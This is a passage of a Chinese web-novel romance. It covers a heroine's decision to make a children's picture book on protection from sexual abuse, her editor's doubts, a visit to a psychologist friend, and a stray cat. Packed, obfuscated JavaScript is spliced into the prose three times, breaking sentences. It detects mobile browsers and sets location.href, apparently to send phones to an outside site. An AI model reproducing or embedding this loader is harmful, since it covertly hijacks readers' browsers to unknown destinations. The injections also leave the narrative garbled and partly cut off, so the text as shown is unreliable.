“没说。”可他念头刚起，又听周默这样说道。 这下祝赫纳闷了：“那你这是演什么独角戏呢？” 都还没说呢，自己就在这儿又是喜又是气的，相识这么多年，他怎么都没看出来这人还是个戏精呢？ 周默白了他一眼，而后低头挑挑盘子里的菜，半晌闷闷说了句：“别人也有同款头像。” 哟！ 祝赫来了兴趣：“谁呀？” “……她那青梅竹马。” “谁？哦，你房东呀！” 周默：“……” 虽然合同不是跟他签的，可“房东”这个角色总让周默觉得自己低他一等，心里膈应得慌。 祝赫想了想，大概懂了周默的心理：“所以，你是觉得既然不是独一无二的，那也试探不出来什么？” “……嗯。”周默闷闷应了声。 “那就直接说呗！”他还是坚持之前的意见。 周默气闷地看了他一眼。 祝赫乐了：“怎么，拉不下脸啊？别怪我没告诉你，摆架子可不是追人的态度啊。” 周默深吸一口气，抬手用力揉了揉眉心，一脸烦躁。 他倒不觉得自己是在摆架子，只是……有点介意。 他从搬进这个房子起，就听迟了了说过“许愿”的名字，之前还不觉得怎么，现在回想起来，才发现这名字几乎无孔不入。 迟了了隔三差五就在自己面前念叨也就算了，对门也提醒过自己，还说，如果自己有什么想法，小心他回来揍自己…… 虽说谁揍谁还不一定，可……关键是迟了了的态度。 他原本也以为两人就是一起长大的青梅竹马，但昨晚接到那通电话后，他有些拿不准了。 对方对自己的敌意，太过明显。 而迟了了跟他说话的口吻，又是那样亲密…… 这让周默不禁怀疑，自己对迟了了而言，究竟算是个什么角色？ 有些不同的异性？ 朋友？ 还是，只是个邻居…… - 晚上，周默下班回来。 刚到家没多久，他正准备去洗漱，大门便被敲响了。 熟悉的节奏，熟悉的力道。 他长舒一口气稳住心情，扬声应道：“进来。” 一串丝滑的按键声响起——一开始还吐槽过密码看得眼晕的人，不知何时已经按得无比顺畅——大门一打开，迟了了清脆的声音就迫不及待地传了过来： “周默周默，我想到了！” 周默转身去倒水，同时漫不经心接过她的话：“想到什么？” “我新绘本的选题呀！” “新绘本？” “对呀！”迟了了兴高采烈地跟着他走进厨房，毫不客气地拿走他刚倒好的水说了声“谢谢”，又继续道，“我上个绘本不是已经交稿在印刷了嘛？到目前为止，我已经空窗了快两个月了！” 周默看着空空如也的手上，无奈叹了口气，又从旁边重新拿了个杯子：“你不是一直在画画吗？” “那都是商单、插画，跟绘本不是一回事。” 周默想了想，约莫明白了，商单是做生意，绘本是创作，而且绘本的著作权在她自己手上。 “所以你想的是什么？”他问。 迟了了嘿嘿一笑，转手将杯子放到一旁，挺胸抬头，双手一拍，仿佛在国旗下讲话般一字一顿、郑重其事道：“儿，童，性，保，护！” 提壶的手一顿，周默讶异地看过去：“你说什么？” 迟了了眨眨眼，又笑着点点头，表示他没听错。 “你——” 周默看着她，动了动唇，欲言又止。 “嘻嘻，你想说的我懂！”迟了了说，“不过我真的没事！” 他稍一思忖，有个猜测：“你昨天跟那红毛视频，聊出来的就是这个结论？” 红毛？ 迟了了一怔，反应过来：“哦，你说许愿呀？跟他没关系！” 她摆摆手：“其实我很早就有这个想法了，只是一直没有什么头绪，” 说着她又顿了顿：“也是一直没下定决心。不过昨天的事情让我决定了，下一本绘本，我就要画这个！” 听了她的话，周默皱着眉，一时不知该说什么。 正踟蹰间，迟了了霍然一声惊呼：“哎呀，你杯子杯子！” 周默立刻回神，低头看向手下的杯子。 杯子里的水已经溢出来许多，眼看就要蔓延到边缘，从台面上流下来。 迟了了赶紧扯过一旁的抹布，一把堵在水流即将泻下的地方，用力摁了摁。 周默却是一副不慌不忙的样子，轻轻将水壶放到盘子里，而后伸手接过她手里的抹布，耐心细致地将台面上的水渍擦得干干净净。 最后，又转身走到水池旁，将抹布拧干，重新晾起来。 做完这些，他又回来端起杯子，一言不发地喝了一口。 “这事，他知道吗？”喝完水，他问。 “谁？”迟了了一脸懵，“许愿？” “嗯。” 迟了了立刻摇头：“他不知道，跟他没关系。” 周默下意识就想问：那为什么跟我说？ 可话到嘴边，又被他咽了回去，转而问：“那你现在告诉我，是想跟我商量，还是单纯的告知分享呢？” 迟了了咧嘴一笑，直言不讳：“告知。” 周默：“……” “不过也想听听你的看法嘛，”她又补充，“你也算是半个当事人，有没有什么好的建议？” 周默看了她一眼，没说话，骨节分明的手指轻轻捏起杯子往客厅走去。 等在沙发上坐下，他才淡淡开口：“从你们行业的角度，我给不了你建议。不过我不否认，这确实是个很有社会意义的选题。” “对吧对吧！” 迟了了的目光一直追随着他，一听这话，顿时两眼放光，捧上自己的杯子也跟了过来，往蛋壳椅里惬意一窝，高兴的脚趾头在亮黄色的卡通袜子里一阵舞蹈。 “不过——”周默突然话锋一转。 脚趾头瞬间被按下暂停键：“诶？” “从个人角度，我不建议。” “为什么？！”迟了了一下子把脚收回来，整个人直直坐了起来。 周默看着她，有些无奈地说：“即使那件事像你说的那样已经过去，但它也是个跟愉快毫不相干的回忆，你创作一个绘本需要多久？” “呃，小一年的时间，差不多八九个月？”迟了了说。 “那你可能这一年里都要不断回想起那件事，”周默说到这停了下来，顿了顿才轻声又继续，“这样的话，你还确定它对你已经完全没有影响了吗？” 迟了了沉默了。 她捧着手心的杯子，垂眸思索起来。 周默也不催，只低头喝着杯子里的水，耐心地等她想清楚。 如此又过了一会儿，迟了了抬头看着他，抿了抿唇，而后露出一抹她招牌式的笑容。 “周默，你说的对！”她说，“但我还是要画！” 周默眉头一紧，正要开口便被她抬手拦下。 “你先听我说完。你说的我想过了，没错，我确实不能保证自己在创作的时候不会反复想起那件事，或者如果真的反复想起，自己能不受影响。可是就算这样，我也想画。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818882|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她叹了口气，说：“你可能不了解，儿童性教育，一直以来都是儿童启蒙教育一个短板。 “如果你去书店的绘本区转转，就不难发现，目前市面上的儿童绘本，多是各种启蒙科普、习惯培养、童话故事的题材。 “针对的也主要是小朋友的认知力、观察力、想象力、创造力，还有沟通、审美、情感发育等等的培养，对于性教育这块的作品很少很少，即便有，也大多是国外引进的。 “而且不仅是绘本，整个社会和家庭层面，对这方面的教育都很缺失，不论是老师还是家长，大多都难以启齿避而不谈。 “举个简单的例子，就说孩子和爸妈一起看电视，如果看到亲密的戏份，他们一般会怎么反应呢？ “要么换台，要么捂孩子的眼睛，要么尴尬地走开去倒水。” 说着，她示意了一下手中的杯子。 “可另一个残酷的事实却是，有调查表明，几乎每一个女生，是‘每、一、个’，都曾遭遇过不同程度的性骚扰，男生也有很多。 “这里面，轻则是言语调戏或者咸猪手，重则是猥亵，甚至性侵。就在这一刻，可能在某个地方，有个小孩也正遭遇着昨天那个小女孩遭遇的事情，和我曾经的经历。” 迟了了说到这，停顿了很久，才又继续： “我以前还能逃避、拖延，找借口说我害怕，我不想让忘不掉的不好的记忆再反复出现。可昨天的事，让我知道我不能再当鸵鸟了…… “我不敢说，我画出这样一个作品之后，就一定会救到她们。但我相信，儿童性保护要加强，就需要更多的关注和支持。而我这个作品，会是给孩子们筑成的保护墙中的一块砖，这对我来说，就够了。” 她鲜少用这样正经严肃的口吻和神色说一件事，而且说的又是这样一件事，周默静静听着，紧皱的眉头竟一点点舒缓下来。 等她说完，他看着她，默默无言。 过了许久，就在迟了了失望地以为他依旧不会支持自己的时候，他突然又勾起唇角，轻声问了句：“于情于理，我好像，都不该再劝你了？” 迟了了眼睛一亮，待从他的眼神里看出自己想要的答案后，立刻咧嘴一笑。 “虽然我好像也做不了什么，但，如果有什么需要帮忙的，就告诉我。”周默又说。 “好！” 虽然费了一番口舌，但这个选题得到认可，迟了了还是很高兴的。 时间不早，她也不多留了，放下杯子就准备回自己家。 然而一只脚刚迈出大门，她突然想到什么，又倏地止步回过头来。 “周默？”她喊。 “嗯？”周默边喝水边随口应了声。 “你……”她眼珠子一转，努力装作不经意的样子，“为什么，又把头像换回来了呀？” 周默动作一顿，下一秒猝然一呛，剧烈地咳嗽起来。 “咳咳咳！咳咳咳！——” 什么情况？她竟然看到了？！ 等咳嗽好不容易稍微平复下来，他唰唰扯出好几张纸巾擦拭身上，同时瞪大眼睛不可思议地看向迟了了。 迟了了浑然不知他的尴尬，冲他俏皮地眨眨眼，说：“其实，真的挺可爱的……对吧？” 周默脸上顿时更是一阵红一阵白。 他哪里知道，从昨天中午，迟了了在派出所跟他联系的时候就已经发现他换头像的事了，只是当时事态紧急，她没有心思讨论这个事情，后来又一堆别的事情，也就把这事给忘了。 可没想到她今天想起来再去看时，却发现周默又把它换回去？！ 当然，这背后周默的心思她是一丁点也不知道，只以为是他精英包袱比较重，不好意思用这么卡通的头像。 于是，她善解人意地问：“要不然，我再给你画个正经点的？算售后服务了！” 这一天，周默不知自己用了多大的定力，才能维持住表面的淡定。 55. 另类吸猫 数日后，“或者”咖啡。 “我不看好这个选题。”肖音韬放下手中的咖啡杯，淡淡说了一句。 “为什么呀——”迟了了失望地问。 她确定这是个好选题，在得到周默的支持后，便立马开始着手构思故事脚本。 儿童性教育的绘本并不好做，市面上现有的也大多是简单直白的科普或白描风格，而迟了了擅长的，则一贯是生动有趣的故事题材。 反反复复废了好几稿，她最终还是决定用自己擅长的故事叙事来讲述“性保护”的主题。 如此又经过几番修改，才有了她最终发给肖音韬的故事梗概：《小朱莉的秘密》。 可没想到她看完后竟然是这么个回复，这也…… 太打击人了吧！ 肖音韬见她嘴角都耷拉下来了，安抚地拍拍她的头：“故事呢，是个好故事，题材呢，也确实是市场上比较缺失的一块——” “那你还不看好？”迟了了才懒得听她这客套话，怏怏开口打断她的话。 肖音韬斜了她一眼。 迟了了立马怂了，抬手做了个“请”的姿势。 肖音韬摇头叹了口气，继续说道：“但是，题材比较敏感。你应该知道，在这一方面，别说小孩，就算是成年人，它的审查一向都很严苛，标准也无法清晰界定，进行这方面的创作，无异于摸着石头过河，在规则的边缘试探。 “而且，就算作品过了修修改改，几经磨难终于审查这关，等成功上市了，家长们会不会买账又是个未知数。敏感的家长甚至可能一纸举报上去，你费尽心思画的这书就被封了、下架了！这些年那些被下架的动画片和游戏，你又不是不知道！” 作为专业的编辑，肖音韬在这方面考虑得自然要比迟了了更切实际一些。 “那就没有什么办法吗？”迟了了不甘心地问。 肖音韬耸耸肩：“这就是现实。” 迟了了顿时萎了，沮丧地噘着嘴，活像个被早霜打蔫的小草。 可紧接着，肖音韬话锋一转，又说：“好了，以上是作为你的责编，我要说的。” “嗯？” 迟了了茫然看向她，似乎嗅到了转机的味道。 “那么作为你的朋友，我接下来要说的是——”她看着迟了了，笑道，“我支持你。” 迟了了一愣，下一秒眼睛唰地锃亮：“真的？！” “当然。”肖音韬挑挑眉。 她跟迟了了性格迥异，然而两人能合作这么多年，并成为朋友，不仅是因为相识于微末，多年来又相互见证和帮助了彼此的成长，更因为她在迟了了身上看到了许多人没有的那种纯粹。 那是像宝石一样珍贵的存在，热情、善良、勇敢、直率、知世故而不世故、用一颗火热友好又不失温柔的心去与世界相处…… 这种能量像个小太阳一样，不仅带动着自己，更能照亮他人，并给他人以能量。 所以每每肖音韬感觉自己状态不对，或是情绪濒临崩溃时，便总喜欢把她拉出来，和她聊一聊。 如果用一种更容易理解的比喻来说，肖音韬觉得，这种心态应该跟人们“吸猫”差不多吧…… 只不过她吸的是迟了了。 不过当然，这也不妨碍她押着迟了了改稿就是了。 …… 这天最后，两人商定：冒一次险！ 虽然这个选题对于两人而言都是个挑战，但左右迟了了也不全靠这个吃饭，而肖音韬手下也还有别的作者，两人都有任性的资本，就算最后失败了，她们也算是给自己有个交代。 只是—— “原本催你想选题，是想干个轻松点的活，没想到你给我整了个更难的，唉！”分别前，肖音韬嘟囔着跟她抱怨。 而让迟了了也没想到的是—— 挫折来得，比她预想的，还要早一些。 - 秋意渐浓，仿佛一夜之间，街道两旁树木的叶子都被染成了黄色。 黑色吉普的车轮碾过地上散落的树叶，发出轻微的脆响，车内，迟了了拽着身上连帽卫衣垂下的两颗毛球，一脸不解地看着驾驶座上的周默。 “咱们是要去哪？” 周默目视前方：“你不是说这段时间创作状态不佳吗？带你去找可能有效的解决办法。” “可能有效？”迟了了眨眨眼。 “嗯，可能。” 迟了了歪歪脑袋，听得云里雾里。 绘本创作，一般需要经过几个阶段：故事构思、脚本创作、角色设计、分镜草图，然后是插画创作、修订、审核、排版、印刷。 其中前四个步骤，可以算是作者的摸索阶段，试探如何给绘本的内容、画风以及呈现节奏进行定调，也可以说是作者与绘本相互熟悉的过程。 之后的插画创作到审核，才是主要的创作阶段，往往也是最耗时的阶段。 以往，迟了了差不多一半的时间都是花在这里，可这一次，她在第一阶段便卡了壳。 跟肖音韬沟通过文本大纲后，她开始细化故事脚本，准备角色和分镜设计，而这，却让她犯了难。 这个难，一方面来自题材本身的问题——正如肖音韬所说，“儿童”和“性”的主题天然便受到更多限制，故事如何讲述、画面如何呈现，都要把握好一个“度”。 更别说她还要把一个在生活中往往以负面形式出现的主题，用符合孩子的、相对正面积极的视角表达出来。 而另一方面更主要的问题，则是迟了了自己状态不佳，没有灵感。 脚本写了一版又一版，角色画了一个又一个，好不容易完成了，回头再看，又觉得一塌糊涂，毫无亮点，最后只能作废，重新再来。 然而结果不过是重复上一版的过程。 几天下来，迟了了烦得嘴巴上都起了泡。 对此，周默心里约莫有一些猜测，但到底并非专业人士，也无法妄下定论或给出更有效的帮助。 于是，他想到了一个人。 …… 汽车一路行驶，载着两人驶过市中心的繁华地段后，又转了几个弯，来到一条闹中取静的小路上，最后在一幢白色现代风格的小洋房外停了下来。 洋房前临街的地方有个小花坛，花坛中间种着一株金桂，树冠蓬松，枝叶茂密，在这个季节里，金黄色的小花像一簇簇星星般从绿叶中探出头来，隔着好远便能闻到扑鼻的香气。 迟了了疑惑地看向周默，在得到他肯定的眼神后，才解开安全带下了车，好奇地打量着眼前这栋漂亮的房子。 房子乍一看并不大，两层半的高度，最上面半层是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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桌子对面，也就是她们眼下所处的位置，一套极具设计感的岛屿沙发让人跃跃欲试，而大大的落地窗前，米白色的按摩椅更是包裹感极佳，坐在里面，正好能将窗外屋后小花园的景致尽收眼底。 “不过，要不是他带我过来，我还不知道袁月你的心理咨询室这么漂亮呢！” “少油嘴滑舌了！”袁月嗔了她一眼，“你要真没一点事，那我可就要怀疑你俩关系了。” “什么关系？”迟了了不解。 “男女关系啊！难道是纯洁的异性朋友关系吗？” 迟了了一听连忙摆手：“别瞎说别瞎说，你个心理医生，怎么这么八卦，我俩绝对是纯洁的朋友关系——” 说着，她话头一顿，又改口：“不对，还有邻居关系和半个房东租客的关系。” 袁月忍不住嗤地笑出声来，促狭道：“那他对你这个朋友、邻居，以及半个房东，还真是上心哦！那你知不知道，我俩认识这么多年，他还从来没有主动找过我呢！” “啊？”迟了了瞪大眼，“为什么？” 袁月耸耸肩：“还能为什么，摆架子呗！” “诶，袁月！”迟了了突然想到什么，转身趴在扶手上凑向她，“你跟我说说你俩刚认识时候的事呗？” 56. 禁忌骨科 这边两人聊得火热，小楼另一侧的小花园中，被讨论的主角正独自坐在白色长椅上，对着脚下的草坪发呆。 几步外，袁周率小朋友正在草坪上踢球。 突然，周默感觉自己的小腿被撞了一下，转头一看，竟是小屁孩的足球。 他看着这球愣了两秒，而后才弯下腰将它捡起来，刚想扔出去，就见小家伙正哼哧哼哧地朝自己跑过来。 他收回手，等着小屁孩自己来拿。 袁周率小朋友跑到他跟前，伸手拿过球，说了声：“谢谢舅舅！” 周默没理他，回过头继续发呆。 然而小家伙拿了球却没有立刻离开，而是歪歪头看着周默，过了会儿，问他：“舅舅，你要跟我一起踢球吗？” “不踢。”一如往常，周默拒绝得毫不留情。 好在小朋友早已经对他的冷漠无情免疫了，闻言也不勉强，转而抱起足球在椅子的另一侧坐下，一双小腿一荡一荡的。 周默本不想搭理他，可余光里的动静却搅得他心烦意乱，最后忍无可忍。 “你不踢了？”他问。 “我歇歇。”小家伙小大人似的点点头，一双小腿继续荡啊荡。 “……” 周默回过头去，努力忽视他的存在。 然而—— “舅舅，我陪你聊天吧？” “不用。” “舅舅，你看我现在长高了吗？” “不知道。” “我长高了1厘米哦！” “哦。” “舅舅，你又长高了吗？” “……没有。” “那这么说，我一直长高一直长高，就能赶上你了？” “看你本事了。” “舅舅……” 数月不见，小屁孩的话痨功力有增无减，周默不一会儿就被吵得心烦，焦急地看向走廊下紧闭的房门。 终于，就在他忍无可忍、几欲拔腿离开之际，房门打开了，迟了了和袁月一前一后从里面走了出来。 可还没等他起身，旁边的袁周率小朋友却已经先他一步从椅子上跳了下来，一溜烟跑过去拽住迟了了的手，要让她过来和自己一起踢球。 “……” 周默微微眯起眼，危险地看着小屁孩。 …… 两分钟后，草坪上一大一小你追我赶踢着足球，玩得不亦乐乎。 而长椅上，袁月坐在小家伙刚刚的位子上，和周默一左一右，充当观众。 “你也真是，没头没尾地就带人来看心理医生，也不想想自己有多讳疾忌医。”袁月脸上带笑，说出的话却没什么好气。 周默目光闪了闪：“她，生气了？” 袁月耸耸肩：“那倒没有，只说自己不需要看心理医生，一个劲儿地带我绕话题，不大配合。” 周默目光中露出些担忧。 过了会儿，他又问：“那你觉得，她状况怎么样？” “你觉得呢？” “……这不问你呢？”周默斜了她一眼，“你不挺厉害，望闻问切，你不用后三步，只看都能看出来我有问题？” “嘿，你这话就有点阴阳怪气了啊！”袁月侧头看向他。 周默回看过去，要笑不笑地抽了下嘴角。 “还挺记仇？”袁月白了他一眼，“放心，她虽然不让我深聊，但也跟我说了那件事，既然能以那种口吻说出口，那就算不上是什么阴影，或者说，是已经放下的阴影，到现在顶多也就是个心理障碍而已。 “不过这种事情确实让人恶心，你想让她当做只是上街踩了一脚泥这么轻而易举的事情，几乎不可能。而且大多数女生都或轻或重地遭遇过这种事情，我可以明确告诉你，几乎没人能当做什么都没发生过。” “所以你的意思是，不用管？” “反正不到需要心理医生介入的程度。” 周默这才放下心。 “不过——”袁月突然又开口，可只说了这两个字又迟疑地停下。 “怎么？”周默的心再度提起。 “好像，有什么地方不大对劲，但我又说不上来。”她侧头思忖片刻，又摇摇头，“算了，可能是错觉。” 话刚说完，就对上周默怀疑的目光，她顿时不服：“你这什么眼神？怀疑我的职业水平？” 周默收回视线看向前面玩球的两人，那意思似乎不言自明。 袁月哼了一声：“放心，她现在好得很，起码在我看来，比你之前强多了！不过——” “又怎么了？”周默不耐烦地问。 袁月嘿嘿一笑：“你现在也好很多了哦，都会跟我开玩笑了。” 说着，她意有所指地拿眼神指了指迟了了：“你们——” 话没说完，就收到了周默暗含威胁的警告。 她识相地闭上嘴，比了个OK。 懂了。 - 回去路上，周默一直在琢磨该怎么跟迟了了解释今天这事。 ——“我没想让袁月做什么，只是3.14说他想你了”？ 可她有袁月联系方式，要是3.14真想她何必通过自己。 ——“我不是认为你有心理问题，只是觉得在排解坏心情方面，袁月或许比较擅长”？ 嗯，有点虚伪，还有点茶。 要不就说“我担心你其实有什么心理阴影，只不过自己不知道，所以干脆直接带你去看看”？ 可那样的话，自己恐怕会被按地上打…… 算了，要不直接道歉吧！ 他思来想去，只后悔自己之前考虑得不够周全。 “对不——” 不料话刚出口，迟了了的声音便在旁边响起，带着她一贯的活泼欢快，还多了丝鬼鬼祟祟的试探。 “周默，你上学的时候，是不是有很多女生追你呀？”她凑过来，悄声问。 周默被这问题打了个措手不及，上一秒刚要出口的道歉也立刻忘得一干二净！ 他错愕地看了她一眼，迟了了眨着那双近乎纯黑的深褐色眼睛，也正目不转睛地盯着他，面上满是掩藏不住的八卦，以及，似乎还有点别的什么…… 正开着车，周默不敢分心太久，几乎只是扫了一眼，便触电般地挪开视线。 “你，”他有些语塞，“怎么突然问这个？” “嘿嘿，”迟了了坐正身子靠在椅背上，“袁月跟我说，她以前还暗恋过你呢！” 话音刚落，她就感觉车身猛地一晃，正笑嘻嘻的脸上唰地一白，一双手赶紧拽紧了胸前的安全带。 好在只是眨眼的工夫，周默便稳住了心神，握紧方向盘重新让车子回到正轨，迟了了这才松了口气。 周默看都不敢看旁边一眼，整个脑子里只回荡着一句话：这个袁月，都在瞎说些什么！ “她，她……” 他“她”了半天，也没“她”出来一句完整的话。 “你这么紧张干嘛？”迟了了促狭地说。 “我，没紧张啊。”周默矢口否认。 “……哦，没紧张啊。” “你别听她瞎说，没有的事。”周默感觉自己平静了些，连忙说道。 迟了了眨眨眼，笑着说：“是她暗恋你，你怎么会知道有没有？” 周默被这话堵住了，一时哑口无言，好大会儿才问：“她跟你，怎么说的？” “她说，你以前长得又高又帅学习还好，在学校里可出名了呢！你妈妈和她爸爸刚结婚的时候，她知道要跟你朝夕相处还挺紧张。”迟了了说。 “再加上那时候她正值青春期，学校里女生之间私下里正流行那种伪骨科的言情小说，她也悄悄看过，所以再见你就难免有些，嘿嘿，想入非非！” 周默听着，渐渐明白了，也冷静下来了。 而与此同时，他忍不住露出一脸“什么鬼东西”的表情。 对于当年刚成为法律上的兄妹时候的事，他隐约还有点印象。 记得当时母亲提前说过，继父的女儿跟自己同岁，只小几个月，性格很是活泼开朗——这一点，后来多年的事实也足以证明。 可刚开始那一年，这人却表现得十分内敛拘谨，有时正一蹦一跳走着路，看到自己就会立刻安静下来；有时正四仰八叉地躺在客厅沙发里看电视，一见自己回来便会立刻正襟危坐，规规矩矩；有时候刻意避着自己，有时候又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818884|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷摸摸看自己…… 为此他还有些奇怪，不明白这人为什么和母亲说的完全不一样，但当时的他也未将注意力过多地放在这上面，只以为她是因为生疏，或者看不惯自己。 然而让他无论如何都想不到的是，她对自己，竟然还有过这种荒谬的念头？！ “她跟你，这么说的？”周默拼命按捺住跳动的额角，无语地问道。 “嗯嗯，”迟了了点点头，“不过她又说，跟你认识不到一年，这暗恋的小火苗就灭了。” “呵，我谢谢她！”周默冷笑一声。 他当然知道这火苗已经灭了，不然哪里还有会3.14？ 而且就算不灭，他也可以现在拐回去给她掐灭了！ “你不想知道怎么灭的吗？”迟了了又问。 虽说是问，但语气里就差明晃晃地写着“快问快问”四个字了。 周默察觉到她心情不错，倒也有意陪她聊下去：“怎么灭的？” “她说——”迟了了拉长声音，“因为你太烦人了！” “我烦人？”周默差点以为自己听错了，“我烦人还是她烦人，我每次去她家她都准备一堆习题要问我，我还没嫌烦呢。” 迟了了顿时一副“果然如此”的表情，又忍俊不禁：“你真的没嫌烦？” “……” 周默瞥她一眼，不说话了。 迟了了懂了，说：“她还说，因为她每次问你题，你都特别不耐烦，还对她进行人身攻击，所以她对你的滤镜就破灭了。” 事实上，袁月的原话是：“虽说找他辅导习题是我爸的主意，你不知道，我爸特喜欢他！但我想着，说不定可以拉近一下距离，毕竟他在我们学校‘高冷学神’的名头可是很出名的，可没想到他却嫌我笨！ “他讲题那么快，我还没反应过来呢他就讲完了，你让他再讲一遍他还不耐烦，而且完全不带迂回地说我笨！就那种语气你知道吧，平静得好像只是在陈述一个客观事实！ “谁不想要甜甜的爱情呀，我又不是受虐狂，他嘴这么毒，我当然就不再喜欢他了！” 于是，一段充满禁忌感的暗恋，就这么无疾而终了。 “那我还真要谢谢那时候的我。”周默笑着说。 迟了了看着他，突然凑了过去：“你真不知道？” “我当然不知道！”周默瞪眼，差点举手发誓以证清白。 “那其他人暗恋你，你也不知道？” 不知怎的，周默听着这话，心跳突然漏了一拍。 他飞快看了她一眼：“……我那时候，都泡在功课里，哪有心思管这些。” 哦，两耳不闻窗外事啊……迟了了若有所思地感慨。 “那好吧！”她鼓鼓脸颊，有些失望的样子，“哦对了，你刚刚想说什么来着被我打断了？” 这话题转移之快，让周默顿感猝不及防，怔了一会儿才想起来。 “哦，我是想说，”他顿了顿，“去之前没跟你打招呼，是我考虑不周。带你去见袁月没有别的意思，只是想着如果心里有疙瘩，她或许能帮上忙……如果冒犯到你，我向你道歉。” 迟了了闻言“啊”了一声：“你以为我会因为你带我去看心理医生生气？你想多了，我没有生气，也没有介意。” “但袁月说，你不大愿意配合她？”周默说。 “那是因为——”迟了了几乎脱口而出，可话说到一半又突然刹住。 “因为什么？”周默不解。 “因为我知道自己没问题呀！而且你带我找她咨询要不要给钱呀？”她说。 “她乐意收就给好了。”他又不差这点钱。 “那她肯定不乐意收，但咱也不好不给呀，心理咨询师可都是按小时计费呢！” “你就为了这个？”周默有些难以置信，她看起来，可不像是会这么精打细算的人。 “没错！”迟了了说，“袁月收钱的话，我心疼钱，不收的话，让她白干我又心疼她，所以我想了想，干脆就不咨询了嘛！” “……”周默无言以对，半晌，才吐出一句，“你可真贴心啊。” 对于这句“夸奖”，迟了了很是引以为荣地收下了。 57. 驯养狐狸 回到小区，周默停好车子，和迟了了一起下车，准备上楼。 刚走到楼门口，就听到路边小叶黄杨下传来两声猫叫。 迟了了脚步一顿，忽地想起什么，给周默丢下一句“你等我一下”便朝不远处自己的小粉车跑了过去。 周默站在原地，看她打开后备厢，约莫猜到了她想做什么，便没有上前，转头看向猫叫声传来的地方。 身旁半腿高的小叶黄杨茂密葱郁，而树根的间隙里，一只头顶黄色心形的三花猫正蹲坐在几步之外，耳朵直立，尾巴懒扫，一脸高傲淡漠的样子，仿佛来要讨食的不是它似的。 周默看着它，面无表情，猫也仰头盯着他，岿然不动。 就这么对视了片刻，直到迟了了拿着丰盛的猫粮回来，两相对峙的局面才终于被打破。 “花花！快来吃！”她将猫粮和猫零食放在地上，又往后挪了几步，蹲在那儿热情地招呼它过来。 三花猫这才收回盯着周默的目光，不屑地扫了一眼地上的食物，又打量了一眼迟了了，像是确定她和自己保持了一定的“社交距离”后，才迈着从容不迫的猫步从灌木丛下款款走出来。 嗅了嗅今日份大餐，它不紧不慢地吃起来。 周默对它这副拿腔作势的姿态很是瞧不上，扭头看向别处。 “周默。”这时，迟了了突然喊了声他的名字。 “嗯？” “你要不要，收养花花呀？”迟了了转过头来，睁着一双晶亮的大眼，期待地看着他。 周默一怔，看了眼她面前正埋头苦吃的三花猫，立刻撇开目光：“不要。” “啊——”迟了了失望极了。 周默听她这语气，突然困惑了。 据他所知，这已经是迟了了第三次给这猫找主人失败了。 “你为什么不带回去自己养？”他问。 既然这么喜欢，又找不到别人收养，与其让它在小区里风餐露宿，说不定哪天染上疾病或者被别人带走，把它带家去，自己养起来不是更好？ 迟了了听了他这话却忽地一僵，目光落在吃得正香的花猫头顶，视线顺着它头顶的毛色纹路一点点细致地拂过，渐渐的，原本轻松愉悦的眼神变得空洞起来。 “因为，太短……”良久，她低声嘟囔了一句，声音几不可闻。 “什么？”周默站在她身后几步外，有些没听清楚。 迟了了倏地回过神来，却没有顾上回答他，而是一把上前捂住花花的耳朵！ 吃得正香的花花被吓得立刻往后一缩，迟了了的手一下子便从它耳朵上滑到了脸上，下一秒软乎乎的面皮被挤作了一团——整只猫像是被挟持了似的，威严全无！ 似乎也意识到了这一点，花花立刻剧烈挣扎起来，整个脑袋一缩一收，下一秒便像条滑不溜秋的鱼从迟了了手中逃了出去，嗖地一下瞬间窜出去老远。 周默被一人一猫的这番操作搞得瞠目结舌，看着花猫仓皇逃窜的背影，愣了愣，又回头看向空落落张着两只手蹲在原地的迟了了。 迟了了回过头，满脸怨念地看着他： “……现在你知道原因了吧？” 周默抿了抿唇，最后选择闭嘴。 迟了了叹了口气，认命地开始收拾地上余下的猫粮。 “你看过《小王子》吗？”她一边收拾一边问。 认识这么久，周默已经习惯了她话题跳跃的跨度，只愣怔了一刹便淡定点头：“翻过，不过大多不记得了。” 他从小性格就跟一般小孩不一样，话少、不爱动，更不爱跟家属院里别的小孩一起玩耍，作为老教师的外婆担心他长此以往会憋出什么毛病，便想着法儿地给他搜罗各种书籍，从童话故事到文学名著、从经史子集到天文地理，应有尽有。 其中就有一本《小王子》，不过他当时对这种书不感兴趣，只草草翻过一遍便扔到一边去了。 之后不久，他还真从这些书里找到了自己的兴趣所在，那就是数学，自此，一应儿童文学更是被束之高阁。 迟了了对他的回答并不介意，兀自又说道：“里面小王子和狐狸有一段对话，说到了一个词，叫做‘驯养’。” “驯养？” “没错。小王子见到狐狸，想要跟它一起玩耍，狐狸拒绝了，说自己还没有被驯养，小王子就问‘驯养’是什么意思，狐狸说，‘驯养’就是建立关系。 “‘驯养’之前，小王子对于它来说就只是一个小男孩，跟其他千千万万的小男孩没什么不同，反过来，对于小王子而言，狐狸也是这样，他们两个谁也不需要谁。 